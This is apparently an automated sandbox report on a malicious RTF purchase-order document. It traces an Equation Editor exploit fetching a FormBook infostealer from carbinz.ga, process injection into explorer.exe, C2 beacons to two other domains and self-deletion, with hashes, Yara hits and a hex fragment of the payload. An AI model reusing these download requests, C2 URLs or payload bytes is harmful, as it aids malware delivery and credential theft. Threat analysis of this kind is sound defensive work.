[doc]..INQUIRY-PO3010773..EPR55804.LNK=0..INQUIRY-PO3010773..EPR55804.LNK=0..[doc]..INQUIRY-PO3010773..EPR55804.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.4311600611816426

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyCKb0OHlMwBim1ilfln:vdsCkWtPA08/+l

MD5: F3E6EBAC97D4DEF04C645869D96DC090

SHA1: F6ADEED4922A5BEFAEC456E3F1BA1C3D424C0F60

SHA-256: 67DC32FE6B29E78D53027D0ABF9458FFC4CD1054A1A060EB96655C2449B5B728

SHA-512: B6379D87B5913A8087BC0012F0AAFD9C742984C21680AAD112E7D749738A83BA04191293A05B28BF149E99ACF20AD3AD1D018715FEB4ABECA8EB0ED6252B597
0

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...

C:\Users\user\AppData\Roaming\sirt3512.exe

Process: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File Type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Category: dropped

Size (bytes): 1116672

Entropy (8bit): 7.439544969133212

Encrypted: false

SSDEEP: 12288:kjuGIZRZkzHu3vmulMV40KJMp13ddUiJtYeYqHOqxiAwXSYhYQi32qNmTEdofxrh:kkGzihU31NddnYqueVK+cFWJGytwf

MD5: B0901D0A6B90E6B371BA80E2C31ADE52

SHA1: 2F175D971E4D6F4938083A78DE9BE10EB6BA0E05

SHA-256: 08DA4E7DE40F2EEC9CD1670E3DB354D49D3101FD9ACE7AAA5F99B235D2CE46FF

SHA-512: 531E2494E065F083CFB8584365675EA5E85E7EAC4668553423C50180BE69FD7306667490300ED49EA86A95C6E4D6058E01E7FEB594E68D3F416AD61ED3F55B8E

Malicious: true

Antivirus: Antivirus: Avira, Detection: 100%
Antivirus: Joe Sandbox ML, Detection: 100%
Antivirus: ReversingLabs, Detection: 35%

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...IG.`..............P.................. ... ....@.. .......................`..........
..@.................................L...O.... ..8....................@....................................................... ............... ..H............text........ ...................... ..`.rsrc...8.... ......................@..@.rel
oc.......@......................@..B........................H............R......B........)............................................j.?.uw..lyYhe..W.....%..,|....p8...g..4....&.w...<OD.68...h 6RP.Ps6.........
z...m.W0L.....Ybg.k...P..A,...G`..Z.%T...j..!f.T.O....2......b.1r.H.-...."n#..n0......u.zm"!.A...0V..N...z..).h.O..6... .w..q..Jd....<Tka.........q\C.6......f.7.n.)m.p..2...?.v.z;8h.[.d}.6..
^..z.......<l.I..8.Hy)..q.....H..N1IP89~L}G3.-.Y..qC.....P.L......6ZY.M1(..=..[v<.}....5.........P...`c#.0.{..p._......h.,..X

C:\Users\user\Desktop\~$QUIRY-PO3010773..EPR55804.doc
Process: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

File Type: data

Category: dropped

Size (bytes): 162

Entropy (8bit): 2.4311600611816426

Encrypted: false

SSDEEP: 3:vrJlaCkWtVyCKb0OHlMwBim1ilfln:vdsCkWtPA08/+l

MD5: F3E6EBAC97D4DEF04C645869D96DC090

SHA1: F6ADEED4922A5BEFAEC456E3F1BA1C3D424C0F60

SHA-256: 67DC32FE6B29E78D53027D0ABF9458FFC4CD1054A1A060EB96655C2449B5B728

SHA-512: B6379D87B5913A8087BC0012F0AAFD9C742984C21680AAD112E7D749738A83BA04191293A05B28BF149E99ACF20AD3AD1D018715FEB4ABECA8EB0ED6252B597
0

Malicious: false

Preview:
.user..................................................A.l.b.u.s.............p.......................................P.....................z...............x...
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Static File Info

General
File type: Rich Text Format data, unknown version

Entropy (8bit): 5.533888123085597

TrID: Rich Text Format (5005/1) 55.56%
Rich Text Format (4004/1) 44.44%

File name: INQUIRY-PO3010773..EPR55804.doc

File size: 13517

MD5: ca66b439a178c115e4a0634da09c27ce

SHA1: 076b862373c50f30b121b8f64b60673434ca9b90

SHA256: 4e0fefa37d9dc5faec3e64cc9129b8004fd349b209228a9
7101c66b30cde4e10

SHA512: cf42c16e3fe0af84726ad3c0e49763a9e503ace80b584d3
65c1efb6f41283788a591df7f00bce66642a11004fc43ee1
829292be5cc07e025ea4c0702d63bbf9d

SSDEEP: 384:Vyq4+E4k5XWiPOWP20t1/I/beq3eHHFDJpSkkoDi:
cj5NXBOWP20nAIHF3SkLi

File Content Preview: {\rtf8700^6]<?(<%[;9.(4%,*?||&$')_?#46-.)/#8/`%'&.98^^
%?9`+$^('%%2.'/:.=#2+??!+>~6/!??0_|/)?3+?_?)4`|@5_
>.>?%'].*_2?:.&??]4$_%70/?*!13?'6.7'~?`205|=)%.*;3:_:
]%5!?(?<~7=:.&$_.9?].:?-..+,+[%6([<#<?><`0?&^&8-`],6|
,$&.?@6[^.'#)?.?+#9?[|_0||9.2%/+%,.::07;%1|-$

File Icon

Icon Hash: e4eea2aaa4b4b4a4

Network Port Distribution

Id Start Format ID Format Classname Datasize Filename Sourcepath Temppath Exploit

0 00002088h no

1 0000205Bh no

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 10, 2021 16:31:06.172893047 CEST 192.168.2.22 8.8.8.8 0x7e45 Standard query 
(0)

carbinz.ga A (IP address) IN (0x0001)

Jun 10, 2021 16:32:46.331866026 CEST 192.168.2.22 8.8.8.8 0xccff Standard query 
(0)

www.869ber
nardilane.com

A (IP address) IN (0x0001)

Jun 10, 2021 16:33:07.058201075 CEST 192.168.2.22 8.8.8.8 0x2e78 Standard query 
(0)

www.363dah
lia.com

A (IP address) IN (0x0001)

Static RTF Info

Objects

TCP Packets

UDP Packets

DNS Queries

DNS Answers
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Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 10, 2021 
16:31:06.234718084 
CEST

8.8.8.8 192.168.2.22 0x7e45 No error (0) carbinz.ga 185.239.243.112 A (IP address) IN (0x0001)

Jun 10, 2021 
16:32:46.490133047 
CEST

8.8.8.8 192.168.2.22 0xccff No error (0) www.869ber
nardilane.com

40.65.124.100 A (IP address) IN (0x0001)

Jun 10, 2021 
16:33:07.208664894 
CEST

8.8.8.8 192.168.2.22 0x2e78 No error (0) www.363dah
lia.com

64.98.145.30 A (IP address) IN (0x0001)

            
carbinz.ga

            
www.869bernardilane.com

            
www.363dahlia.com

         

Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.22 49167 185.239.243.112 80 C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
16:31:06.299602032 CEST

0 OUT GET /modex/sirtx.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; 
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: carbinz.ga
Connection: Keep-Alive

Jun 10, 2021 
16:31:06.351458073 CEST

2 IN HTTP/1.1 200 OK
Server: nginx
Date: Thu, 10 Jun 2021 14:31:06 GMT
Content-Type: application/x-msdownload
Content-Length: 1116672
Last-Modified: Thu, 10 Jun 2021 03:42:12 GMT
Connection: keep-alive
ETag: "60c18a14-110a00"
Accept-Ranges: bytes
Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 
65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 49 47 c1 60 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 
50 00 00 ea 0d 00 00 1e 03 00 00 00 00 00 9e 09 0e 00 00 20 00 00 00 20 0e 00 00 00 40 00 00 20 00 00 00 02 00 00 04 
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4c 09 0e 00 4f 00 00 00 00 20 0e 00 38 1a 03 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 e9 0d 00 
00 20 00 00 00 ea 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 38 1a 03 
00 00 20 0e 00 00 1c 03 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 
00 00 00 40 11 00 00 02 00 00 00 08 11 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 80 09 0e 00 00 00 00 00 48 00 00 00 02 00 05 00 90 b6 0b 00 bc 52 02 00 03 00 00 00 42 00 00 06 
98 8c 03 00 f8 29 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 c1 de 6a 95 3f 80 75 77 88 fe 6c 79 59 68 65 f7 d9 57 90 8c d7 07 10 25 fb 07 2c 7c 9f cd e4 2e 
70 38 95 1d a2 67 93 95 34 04 93 de c6 26 8e 77 a3 f4 9d 3c 4f 44 c7 b9 36 38 be 06 c8 68 20 36 52 50 af 50 73 36 e2 d6 
82 a4 b1 dd 0a 08 a9 08 7a a1 b6 ef a8 6d 19 57 30 4c be 10 07 03 9e 59 62 67 ed 6b 88 c9 ac d6 50 98 12 41 2c be e5 c
e 47 60 f5 e9 5a f1 94 25 54 93 a1 8c 6a d2 d1 21 66 a2 54 dc 4f 0d 06 f0 12 32 be 16 9d 8c d5 ce 62 a8 31 72 d1 48 83 2
d 89 1a 87 fe 22 6e 23 04 83 6e 30 de e7 fd 01 a5 f4 75 e7 83 7a 6d 22 21 b7 41 e2 01 d4 30 56 f7 db 4e f2 0d 01 7a de e
b 29 d2 68 c4 4f 1f ab 36 2e 80 9b 20 c8 77 c4 11 71 c7 d0 4a 64 a8 93 d5 06 3c 54 6b 61 e5 92 df 1b c7 ab a0 16 ca 08 b
0 71 5c 43 0e 36 08 82 d3 ca 06 ec 66 a4 37 ce 6e ca 29 6d e6 70 b5 fc 32 f2 0e bd 3f de 76 b9 7a 3b 38 68 dc 5b a8 64 7
d 82 36 cd f5 5e 04 97 7a 8b 16 c2 f8 f5 cc 0a 3c 6c ca 90 49 de f4 38 9c 48 79 29 b1 ea 71 d5 9a cf a2 84 f1 e9 48 03 dd 
4e 31 49 50 38 39 7e 4c 7d 47 33 8b 2d 91 59 c6 c7 a3 71 43 ce f0 04 e8 11 50 83 4c bf c9 8a 0c f6 bc a2 36 5a 59 2e 4d 
31 28 09 ab 3d 06 f8 5b 76 3c ff 7d cb 2e 12 d6 b2 35 7f 06 bf 9c 9b c7 14 96 aa 50 86 8f 89 60 63 23 ca 30 c4 7b 0a ec 
70 ec 5f b3 0a d3 12 e0 c2 a0 68 c8 2c 9a 82 58 be 16 2d 08 7f 47 31 0b 3d bc ac 40 ef 1b 06 6f 9b 79 d7 4a 75 4f 42 0c 
c6 64 5d 08 d1 28 f5 6d 87 34 66 59 09 f6 fd ad 01 f9 da 46 3b 9d 3a 2d 92 2f 37 f4 08 ad 6f c8 de 2e 4e 41 f9 fa 57 5d 61 
55 58 12 05 c5 f8 fe 1b ae ff a4 1e 80 55 bd 95 dc 73 8a ef 
Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELIG`P  @ `@LO 8@  H.text  `.rsrc8 @@.rel
oc@@BHRB)j?uwlyYheW%,|.p8g4&w<OD68h 6RPPs6zmW0LYbgkPA,G`Z%Tj!fTO2b1rH-"n#n0uzm"!A0VNz)hO6. 
wqJd<Tkaq\C6f7n)mp2?vz;8h[d}6^z<lI8Hy)qHN1IP89~L}G3-YqCPL6ZY.M1(=[v<}.5P`c#0{p_h,X-G1=@oyJuOBd](m4fYF;:-
/7o.NAW]aUXUs

HTTP Request Dependency Graph

HTTP Packets
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Code Manipulations

Statistics

Behavior

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.22 49168 40.65.124.100 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
16:32:46.689235926 CEST

1187 OUT GET /n8ud/?OR-pi=zdrThtgHqt3&4hxpznj0=uGv12cOEt0iW8+7qxEh+/IYx8LbagoRp4MqXc8oHizx2MfFB1iSe
UlEQ8HXQ5dQCk04DkA== HTTP/1.1
Host: www.869bernardilane.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 10, 2021 
16:32:46.874713898 CEST

1188 IN HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Server: Microsoft-IIS/8.5
TF-Server: TFWEB02
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Date: Thu, 10 Jun 2021 14:32:46 GMT
Connection: close
Content-Length: 0

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.22 49169 64.98.145.30 80 C:\Windows\explorer.exe

Timestamp
kBytes
transferred Direction Data

Jun 10, 2021 
16:33:07.342618942 CEST

1188 OUT GET /n8ud/?4hxpznj0=4BFY1+RZf6BraFjHhRNVJ13lzvhcvhDXEvQAp0BhQKRdCzLT+26MMJqFH8vg/bSXx7Qe0w
==&OR-pi=zdrThtgHqt3 HTTP/1.1
Host: www.363dahlia.com
Connection: close
Data Raw: 00 00 00 00 00 00 00 
Data Ascii: 

Jun 10, 2021 
16:33:07.480115891 CEST

1189 IN HTTP/1.1 303 See Other
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Status: 303 See Other
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://www.livinginwinecountry.com/properties/for-sale/n8ud?4hxpznj0=4BFY1+RZf6BraFjHhRNVJ13lzvhcvh
DXEvQAp0BhQKRdCzLT+26MMJqFH8vg/bSXx7Qe0w==&OR-pi=zdrThtgHqt3
Cache-Control: no-cache
X-Request-Id: 926d3e94-6b38-4b27-9fd3-218dc9bfe2a5
X-Runtime: 0.005177
X-Powered-By: Phusion Passenger 4.0.53
Date: Thu, 10 Jun 2021 14:36:37 GMT
Server: nginx/1.6.2 + Phusion Passenger 4.0.53
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"

Function Name Hook Type Active in Processes

PeekMessageA INLINE explorer.exe

PeekMessageW INLINE explorer.exe

GetMessageW INLINE explorer.exe

GetMessageA INLINE explorer.exe

User Modules

Hook Summary

Processes
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Click to jump to process

System Behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 16:30:38

Start date: 10/06/2021

Path: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

Wow64 process (32bit): false

Commandline: 'C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding

Imagebase: 0x13f5d0000

File size: 1424032 bytes

MD5 hash: 95C38D04597050285A18F66039EDB456

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

File ActivitiesFile Activities

Registry ActivitiesRegistry Activities

Start time: 16:30:39

Start date: 10/06/2021

Path: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Wow64 process (32bit): true

Commandline: 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

Imagebase: 0x400000

File size: 543304 bytes

MD5 hash: A87236E214F6D42A65F5DEDAC816AEC8

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Show Windows behavior

Analysis Process: WINWORD.EXE PID: 2308 Parent PID: 584Analysis Process: WINWORD.EXE PID: 2308 Parent PID: 584

General

File CreatedFile Created

File DeletedFile Deleted

Key CreatedKey Created

Key Value CreatedKey Value Created

Key Value ModifiedKey Value Modified

Analysis Process: EQNEDT32.EXE PID: 2260 Parent PID: 584Analysis Process: EQNEDT32.EXE PID: 2260 Parent PID: 584

General
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File ActivitiesFile Activities

Start time: 16:30:41

Start date: 10/06/2021

Path: C:\Users\user\AppData\Roaming\sirt3512.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\sirt3512.exe

Imagebase: 0x1220000

File size: 1116672 bytes

MD5 hash: B0901D0A6B90E6B371BA80E2C31ADE52

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000004.00000002.2094658238.0000000003F49000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000004.00000002.2094658238.0000000003F49000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000004.00000002.2094658238.0000000003F49000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source: 
00000004.00000002.2094353245.0000000002741000.00000004.00000001.sdmp, 
Author: Joe Security

Antivirus matches: Detection: 100%, Avira
Detection: 100%, Joe Sandbox ML
Detection: 35%, ReversingLabs

Reputation: low

Show Windows behavior

Start time: 16:30:43

Start date: 10/06/2021

Path: C:\Users\user\AppData\Roaming\sirt3512.exe

Wow64 process (32bit): true

Commandline: C:\Users\user\AppData\Roaming\sirt3512.exe

Imagebase: 0x1220000

File size: 1116672 bytes

MD5 hash: B0901D0A6B90E6B371BA80E2C31ADE52

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Key CreatedKey Created

Analysis Process: sirt3512.exe PID: 2644 Parent PID: 2260Analysis Process: sirt3512.exe PID: 2644 Parent PID: 2260

General

File ReadFile Read

Analysis Process: sirt3512.exe PID: 2636 Parent PID: 2644Analysis Process: sirt3512.exe PID: 2636 Parent PID: 2644

General
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File ActivitiesFile Activities

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2132134881.0000000000400000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2132134881.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2132134881.0000000000400000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2132063520.0000000000180000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2132063520.0000000000180000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2132063520.0000000000180000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000000.2092914206.0000000000400000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000000.2092914206.0000000000400000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000000.2092914206.0000000000400000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000005.00000002.2132009638.00000000000F0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000005.00000002.2132009638.00000000000F0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000005.00000002.2132009638.00000000000F0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: low

Show Windows behavior

File ActivitiesFile Activities

Start time: 16:30:45

Start date: 10/06/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit): false

Commandline:

Imagebase: 0xffca0000

File size: 3229696 bytes

MD5 hash: 38AE1B3C38FAEF56FE4907922F0385BA

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

Start time: 16:30:58

File ReadFile Read

Analysis Process: explorer.exe PID: 1388 Parent PID: 2636Analysis Process: explorer.exe PID: 1388 Parent PID: 2636

General

Analysis Process: control.exe PID: 2924 Parent PID: 1388Analysis Process: control.exe PID: 2924 Parent PID: 1388

General
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File ActivitiesFile Activities

Start date: 10/06/2021

Path: C:\Windows\SysWOW64\control.exe

Wow64 process (32bit): true

Commandline: C:\Windows\SysWOW64\control.exe

Imagebase: 0xb0000

File size: 113152 bytes

MD5 hash: 9130377F87A2153FEAB900A00EA1EBFF

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2353252437.00000000001D0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2353252437.00000000001D0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2353252437.00000000001D0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2353301076.0000000000290000.00000004.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2353301076.0000000000290000.00000004.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2353301076.0000000000290000.00000004.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group
Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 
00000007.00000002.2353128733.00000000000E0000.00000040.00000001.sdmp, 
Author: Joe Security
Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, 
Source: 
00000007.00000002.2353128733.00000000000E0000.00000040.00000001.sdmp, 
Author: Felix Bilstein - yara-signator at cocacoding dot com
Rule: Formbook, Description: detect Formbook in memory, Source: 
00000007.00000002.2353128733.00000000000E0000.00000040.00000001.sdmp, 
Author: JPCERT/CC Incident Response Group

Reputation: moderate

Show Windows behavior

File ActivitiesFile Activities

Start time: 16:31:02

Start date: 10/06/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: /c del 'C:\Users\user\AppData\Roaming\sirt3512.exe'

Imagebase: 0x49fc0000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

Show Windows behavior

File ReadFile Read

Analysis Process: cmd.exe PID: 2780 Parent PID: 2924Analysis Process: cmd.exe PID: 2780 Parent PID: 2924

General

File DeletedFile Deleted
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